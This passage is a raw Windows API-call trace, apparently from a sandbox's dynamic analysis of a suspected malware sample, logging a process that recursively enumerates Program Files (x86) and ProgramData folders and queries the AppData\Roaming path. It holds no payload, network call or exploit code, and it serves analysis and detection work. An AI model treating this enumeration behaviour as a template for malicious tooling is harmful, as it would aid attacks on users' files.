ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.597] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Mozilla Firefox", pszFile="plugins" | out: pszDest="C:\\Program Files (x86)\\Mozilla Firefox\\plugins") returned="C:\\Program Files (x86)\\Mozilla Firefox\\plugins" [0266.597] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="MSBuild" | out: pszDest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0266.597] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.597] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.597] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.597] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\MSBuild" | out: psz1="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0266.597] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\MSBuild" | out: psz1="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0266.597] lstrlenW (lpString="\\*") returned 2 [0266.598] lstrlenW (lpString="C:\\Program Files (x86)\\MSBuild") returned 30 [0266.598] LocalAlloc (uFlags=0x40, uBytes=0x140) returned 0x6f3c38 [0266.598] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*" (normalized: "c:\\program files (x86)\\msbuild\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96490c30, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96490c30, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.599] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\Program Files (x86)\\MSBuild", pszFile="Microsoft" | out: pszDest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft" [0266.599] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Reference Assemblies" | out: pszDest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0266.599] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.599] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.599] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.599] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Reference Assemblies" | out: psz1="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0266.599] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Reference Assemblies" | out: psz1="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0266.599] lstrlenW (lpString="\\*") returned 2 [0266.599] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies") returned 43 [0266.599] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x6f3c38 [0266.599] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*" (normalized: "c:\\program files (x86)\\reference assemblies\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9641e810, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9641e810, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.600] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Reference Assemblies", pszFile="Microsoft" | out: pszDest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0266.600] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Uninstall Information" | out: pszDest="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0266.600] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.600] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.600] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.600] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Uninstall Information" | out: psz1="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0266.600] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Uninstall Information" | out: psz1="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0266.600] lstrlenW (lpString="\\*") returned 2 [0266.600] lstrlenW (lpString="C:\\Program Files (x86)\\Uninstall Information") returned 44 [0266.600] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x6f3c38 [0266.600] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*" (normalized: "c:\\program files (x86)\\uninstall information\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x974c8210, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x974c8210, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.602] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Windows Defender" | out: pszDest="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender" [0266.602] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.602] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.602] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Windows Defender" | out: psz1="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender" [0266.602] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Windows Defender" | out: psz1="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender" [0266.602] lstrlenW (lpString="\\*") returned 2 [0266.602] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Defender") returned 39 [0266.602] LocalAlloc (uFlags=0x40, uBytes=0x152) returned 0x6f3c38 [0266.602] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*" (normalized: "c:\\program files (x86)\\windows defender\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9659b5d0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9659b5d0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.603] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\Windows Defender", pszFile="en-US" | out: pszDest="C:\\Program Files (x86)\\Windows Defender\\en-US") returned="C:\\Program Files (x86)\\Windows Defender\\en-US" [0266.604] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Windows Mail" | out: pszDest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0266.604] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.604] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.604] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.604] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Windows Mail" | out: psz1="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0266.604] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Windows Mail" | out: psz1="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0266.604] lstrlenW (lpString="\\*") returned 2 [0266.604] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Mail") returned 35 [0266.604] LocalAlloc (uFlags=0x40, uBytes=0x14a) returned 0x6f3c38 [0266.604] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*" (normalized: "c:\\program files (x86)\\windows mail\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98b19050, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98b19050, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.610] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Windows Mail", pszFile="en-US" | out: pszDest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0266.610] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Windows Media Player" | out: pszDest="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player" [0266.610] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.610] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.610] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.610] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Windows Media Player" | out: psz1="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player" [0266.610] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Windows Media Player" | out: psz1="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player" [0266.610] lstrlenW (lpString="\\*") returned 2 [0266.610] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player") returned 43 [0266.610] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x6f3c38 [0266.611] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*" (normalized: "c:\\program files (x86)\\windows media player\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x12bfa720, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x12bfa720, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.611] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Windows Media Player", pszFile="en-US" | out: pszDest="C:\\Program Files (x86)\\Windows Media Player\\en-US") returned="C:\\Program Files (x86)\\Windows Media Player\\en-US" [0266.611] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Windows Media Player", pszFile="Icons" | out: pszDest="C:\\Program Files (x86)\\Windows Media Player\\Icons") returned="C:\\Program Files (x86)\\Windows Media Player\\Icons" [0266.611] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Windows Media Player", pszFile="Media Renderer" | out: pszDest="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0266.611] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Windows Media Player", pszFile="Network Sharing" | out: pszDest="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0266.611] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Windows Media Player", pszFile="Skins" | out: pszDest="C:\\Program Files (x86)\\Windows Media Player\\Skins") returned="C:\\Program Files (x86)\\Windows Media Player\\Skins" [0266.611] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Windows Media Player", pszFile="Visualizations" | out: pszDest="C:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0266.611] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Windows NT" | out: pszDest="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT" [0266.611] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.611] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.611] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.611] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Windows NT" | out: psz1="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT" [0266.611] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Windows NT" | out: psz1="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT" [0266.611] lstrlenW (lpString="\\*") returned 2 [0266.612] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT") returned 33 [0266.612] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6f3c38 [0266.612] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\*" (normalized: "c:\\program files (x86)\\windows nt\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x97f583b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x97f583b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.613] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files (x86)\\Windows NT", pszFile="Accessories" | out: pszDest="C:\\Program Files (x86)\\Windows NT\\Accessories") returned="C:\\Program Files (x86)\\Windows NT\\Accessories" [0266.613] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files (x86)\\Windows NT", pszFile="TableTextService" | out: pszDest="C:\\Program Files (x86)\\Windows NT\\TableTextService") returned="C:\\Program Files (x86)\\Windows NT\\TableTextService" [0266.613] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Windows Photo Viewer" | out: pszDest="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer" [0266.613] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.614] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.614] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Windows Photo Viewer" | out: psz1="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer" [0266.614] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Windows Photo Viewer" | out: psz1="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer" [0266.614] lstrlenW (lpString="\\*") returned 2 [0266.614] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Photo Viewer") returned 43 [0266.614] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x6f3c38 [0266.614] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*" (normalized: "c:\\program files (x86)\\windows photo viewer\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x979fd230, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x979fd230, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.616] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Windows Photo Viewer", pszFile="en-US" | out: pszDest="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" [0266.616] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Windows Portable Devices" | out: pszDest="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices" [0266.616] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.616] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.616] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Windows Portable Devices" | out: psz1="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices" [0266.616] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Windows Portable Devices" | out: psz1="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices" [0266.616] lstrlenW (lpString="\\*") returned 2 [0266.616] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Portable Devices") returned 47 [0266.616] LocalAlloc (uFlags=0x40, uBytes=0x162) returned 0x6f3c38 [0266.617] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*" (normalized: "c:\\program files (x86)\\windows portable devices\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9646aad0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9646aad0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.617] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Windows Sidebar" | out: pszDest="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar" [0266.617] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.617] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.617] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.617] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Windows Sidebar" | out: psz1="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar" [0266.617] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Windows Sidebar" | out: psz1="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar" [0266.618] lstrlenW (lpString="\\*") returned 2 [0266.618] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar") returned 38 [0266.618] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6f3c38 [0266.618] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*" (normalized: "c:\\program files (x86)\\windows sidebar\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x97ae1a70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x97ae1a70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.619] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Windows Sidebar", pszFile="en-US" | out: pszDest="C:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\en-US" [0266.619] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Windows Sidebar", pszFile="Gadgets" | out: pszDest="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0266.619] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Windows Sidebar", pszFile="Shared Gadgets" | out: pszDest="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" [0266.619] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="WindowsPowerShell" | out: pszDest="C:\\Program Files (x86)\\WindowsPowerShell") returned="C:\\Program Files (x86)\\WindowsPowerShell" [0266.619] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.619] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.620] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\WindowsPowerShell" | out: psz1="C:\\Program Files (x86)\\WindowsPowerShell") returned="C:\\Program Files (x86)\\WindowsPowerShell" [0266.620] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\WindowsPowerShell" | out: psz1="C:\\Program Files (x86)\\WindowsPowerShell") returned="C:\\Program Files (x86)\\WindowsPowerShell" [0266.620] lstrlenW (lpString="\\*") returned 2 [0266.620] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell") returned 40 [0266.620] LocalAlloc (uFlags=0x40, uBytes=0x154) returned 0x6f3c38 [0266.620] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x97b07bd0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x97b07bd0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.622] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\WindowsPowerShell", pszFile="Configuration" | out: pszDest="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration") returned="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration" [0266.622] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\WindowsPowerShell", pszFile="Modules" | out: pszDest="C:\\Program Files (x86)\\WindowsPowerShell\\Modules") returned="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" [0266.623] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:", pszFile="ProgramData" | out: pszDest="C:\\ProgramData") returned="C:\\ProgramData" [0266.623] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.623] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\ProgramData" | out: psz1="C:\\ProgramData") returned="C:\\ProgramData" [0266.623] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\ProgramData" | out: psz1="C:\\ProgramData") returned="C:\\ProgramData" [0266.623] lstrlenW (lpString="\\*") returned 2 [0266.623] lstrlenW (lpString="C:\\ProgramData") returned 14 [0266.623] LocalAlloc (uFlags=0x40, uBytes=0x120) returned 0x6bf278 [0266.623] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*" (normalized: "c:\\programdata\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.623] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\ProgramData", pszFile="Application Data" | out: pszDest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0266.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.624] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\ProgramData\\Application Data" | out: psz1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0266.624] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\ProgramData\\Application Data" | out: psz1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0266.624] lstrlenW (lpString="\\*") returned 2 [0266.624] lstrlenW (lpString="C:\\ProgramData\\Application Data") returned 31 [0266.624] LocalAlloc (uFlags=0x40, uBytes=0x142) returned 0x6f3c38 [0266.624] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*" (normalized: 